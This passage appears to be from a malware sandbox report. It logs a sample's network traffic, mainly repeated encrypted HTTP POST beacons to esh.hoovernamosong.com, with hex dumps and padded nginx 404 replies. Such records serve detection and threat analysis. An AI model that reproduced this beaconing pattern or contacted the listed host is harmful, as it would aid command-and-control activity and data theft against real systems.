Source: global traffic	HTTP traffic detected: POST /00000000007709530000000000770953 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 33User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: b8 0f d8 85 e5 d0 93 f2 78 4d 90 75 0d ef 2d 7d 4d 90 a5 01 08 11 7c 88 b7 09 b9 8d 3d 56 fa dc 1d Data Ascii: xMu-}M\|=V
Source: global traffic	HTTP traffic detected: POST /0000000000791B7A0000000000791B7A HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 40User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: c4 18 c0 fa 66 40 0e 66 71 4b 74 b2 cd 92 d0 ab f6 fc 45 2d 52 5c 48 20 73 b3 fc 69 e3 e8 04 c6 0e d8 aa 23 1f 65 40 bc Data Ascii: f@fqKtE-R\H si#e@
Source: global traffic	HTTP traffic detected: POST /00000000007980100000000000798010 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 40User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 20 96 14 3b 1c ab 17 bb a9 0d f8 4a 24 09 e1 ef 59 e5 80 ae c2 cf 91 0e b3 c3 49 09 1f 05 3a a0 9f 07 b6 06 a8 fa c8 5e Data Ascii: ;J$YI:^
Source: global traffic	HTTP traffic detected: POST /00000000007AF52C00000000007AF52C HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 109User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 7d e6 96 a8 4b 06 3f 21 77 9b e4 03 2d 1a f9 5c 12 77 2d 44 7f 2e 14 b4 d6 31 b2 62 5c ec bb fb eb a9 9f 3a 8b d6 c3 0f a1 26 f7 69 25 f5 28 61 b6 db 7b 34 dd c3 5b 17 fc ec 40 9f 9a 75 98 81 dd 97 30 1e 78 d1 1f 6c 6c ea 0f 5a b5 c3 fa ce a1 69 cf ab 81 a6 55 f6 02 3c 20 d6 85 51 26 13 1a 76 65 f3 8b 04 92 1f 48 18 98 60 eb Data Ascii: }K?!w-\w-D.1b\:&i%(a{4[@u0xllZiU< Q&veH`
Source: global traffic	HTTP traffic detected: POST /00000000007BF79800000000007BF798 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 38User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 4c 95 70 b4 3f 3b 92 e3 3e 55 7f 49 18 99 b9 74 a0 ba 9f a3 58 10 06 be cd 90 06 63 45 32 9b b0 3f c7 ff 8d e8 9a Data Ascii: Lp?;>UItXcE2?
Source: global traffic	HTTP traffic detected: POST /00000000007E312D00000000007E312D HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 32User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: e5 0e 11 5b 32 53 77 d5 8f d6 c1 f9 67 c4 d3 d2 73 c8 61 15 9d cd 72 80 ff a8 37 e2 f6 36 fd d7 Data Ascii: [2Swgsar76
Source: global traffic	HTTP traffic detected: POST /00000000007F0BAE00000000007F0BAE HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 44User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: 80 9c a0 09 1c 96 4d 8c da 1a ba 75 9b 09 d9 bf 59 b4 ee 58 3b 21 10 2c d0 a2 14 fc 57 9c 56 27 7c 4d 15 11 7f 39 76 19 f4 c2 7d 70 Data Ascii: MuYX;!,WV'\|M9v}p
Source: global traffic	HTTP traffic detected: POST /00000000007F959F00000000007F959F HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, /Content-Length: 62User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cacheData Raw: f1 b0 a2 09 51 7c b5 61 a7 8b ce 70 81 fd 22 cf 85 20 ed a6 50 3a 15 6e 37 8a f0 8d d8 65 b4 3e a1 58 57 2d 0b ac b5 87 51 60 23 e7 d1 1c 06 2d ab 47 7d d4 e7 cb ac c6 ee af 86 69 c4 3d Data Ascii: Q\|ap" P:n7e>XW-Q`#-G}i=

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: esh.hoovernamosong.com

Source: unknown

HTTP traffic detected: POST /00000000006A9DE200000000006A9DE2 HTTP/1.1Accept: Accept: text/html, application/xhtml+xml, image/jxr, */*Content-Length: 64User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: esh.hoovernamosong.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:10 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:16 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:22 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:27 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:34 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:40 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:45 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:51 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:56 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:02 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:08 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:13 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:18 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:24 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:29 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:35 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:41 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:47 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:53 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:23:59 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:24:05 GMTContent-Type: text/htmlContent-Length: 564Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:11 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:17 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:22 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:28 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:34 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.24.0 (Ubuntu)Date: Thu, 28 Nov 2024 12:22:40 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 